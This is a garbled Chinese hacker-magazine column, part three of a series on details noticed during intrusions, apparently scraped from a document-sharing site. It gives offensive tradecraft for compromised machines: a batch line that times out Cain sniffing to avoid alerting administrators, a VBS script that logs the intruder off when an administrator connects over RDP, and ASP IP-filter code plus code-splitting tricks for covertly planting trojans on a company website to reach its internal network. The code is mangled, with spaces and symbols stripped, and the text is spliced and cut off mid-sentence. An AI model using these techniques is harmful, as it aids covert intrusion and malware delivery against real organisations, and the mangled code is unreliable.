我在入侵過(guò)程中注意到的細(xì)節(jié)網(wǎng)站安全電腦資料

1、我在入侵過(guò)程中注意到的細(xì)節(jié)（三）網(wǎng)站平安電腦資料手冊(cè)xx03我在入侵過(guò)程中注意到的細(xì)節(jié)之三lcx前兩期中的專欄中，針對(duì)細(xì)節(jié)入侵這一專題，我分別寫(xiě)了我在內(nèi)網(wǎng)和注入中注意到的一些細(xì)節(jié)，先來(lái)說(shuō)一下嗅探吧。大家常用的工具是cain,用法大家都會(huì)了。但是cain在嗅探過(guò)程中，如果遇到流量較大的目標(biāo)機(jī)，往往會(huì)把裝cain的主機(jī)搞死，從而引起管理員的注意。像有的時(shí)候，嗅了一陣后，就會(huì)把3389搞死。我也沒(méi)有更好的方法，只能讓cain嗅一段時(shí)間后停頓，再重新開(kāi)始。如果每次都是手工去停頓cain，有時(shí)候時(shí)間掌握的不及時(shí)，3389已經(jīng)死掉了。其實(shí)解決這個(gè)問(wèn)題很簡(jiǎn)單，一個(gè)簡(jiǎn)單的批處理腳本就可以了。腳本內(nèi)容如下：pi

2、ng-n5000nultaskkill/F/PID4144上邊批處理腳本中，5000是秒數(shù)，用來(lái)控制cain的嗅探時(shí)間。4144是cain的進(jìn)程數(shù)，可以自己用tasklist查一下就知道了。這樣一來(lái)，你可以放心在嗅探這段時(shí)間內(nèi)去做別的事了。再來(lái)呢，用cain嗅探一般會(huì)在3389上，這時(shí)候如果碰到管理員登陸3389也不太好辦，我的好友Netpatch寫(xiě)過(guò)一個(gè)終端監(jiān)視腳本，一旦發(fā)現(xiàn)有兩人同時(shí)登陸終端的話就注銷自己。腳本內(nèi)容如下：onerrorresumenextsetarg=wscript.argumentsIfarg.count=0thenwscript.echouse:/cs

3、cript.exeFS.vbsportsleep1000wscript.quitEndIfTport=arg(0)Runs=falseWhileruns=falseDimoShell,oExec,strOut,oRegExp,Matches,Match,Num,TportSetShell=WScript.CreateObject(WScript.Shell)SetExec=oShell.Exec(stat-an)SetRegExp=newRegExpoRegExp.Pattern=TCPs+d.+:&Tport&s+d.+:d+s+ESTABLISHEDoRegExp.IgnoreCase=T

4、rueoRegExp.Global=TrueDoWhileNotoExec.StdOut.AtEndOfStreamstrOut=strOut&oExec.StdOut.ReadLine()&Chr(13)&Chr(10)LoopSetMatches=oRegExp.Execute(strOut)Num=0ForEachMatchInMatchesNum=Num+1Nextifnum1thenRuns=trueoShell.runlogoffendifSetMatches=NothingSetRegExp=NothingSetExec=NothingSetShell=Nothingwend用此

5、腳本，登陸終端時(shí)翻開(kāi)就可以了，這也是一個(gè)比較好的隱藏自己的方法。最后來(lái)說(shuō)一下掛馬。掛馬的隱蔽方法也有很多，以前黑手上講過(guò)幾期。如果只是盲目的掛馬多搞幾臺(tái)肉雞的話，那個(gè)隨便你了。但是有時(shí)候我們?nèi)肭至艘粋€(gè)公司的web站，目標(biāo)卻是他們的內(nèi)網(wǎng)，cint(allow2(0)then合法response.write制止訪問(wèn)exitfunctionendiffori=0toubound(ipstr)ifcint(allow1(i)ifcint(allow1(i)=cint(ipstr(i)thencheck(i)=truecheckip=trueexitforelseifcint(ipstr(i)exitf

6、orelseifcint(ipstr(i)cint(allow2(i)thencheck(i)=falsecheckip=falseexitforelsecheck(i)=truecheckip=trueendifendifendifelseifcint(allow1(i)cint(ipstr(i)orcint(allow1(i)check(i)=falsecheckip=falseifiubound(ipstr)thenexitforendifelsecheck(i)=trueendifendifnextif(check(0)=trueandcheck(1)=trueandcheck(2)=trueandcheck(3)=false)and(cint(allow2(2)cint(ipstr(2)thencheckip=trueendifendfunction%這個(gè)腳本也許考慮得不太周到，但是我覺(jué)得足夠用了。掛馬的隱蔽方法也有很多，我最常用的是代碼分隔法。記得劍心有篇文章，提到過(guò)最短的跨站方法，我們也可以用這種方法來(lái)掛馬的。好比常規(guī)掛馬語(yǔ)句拆分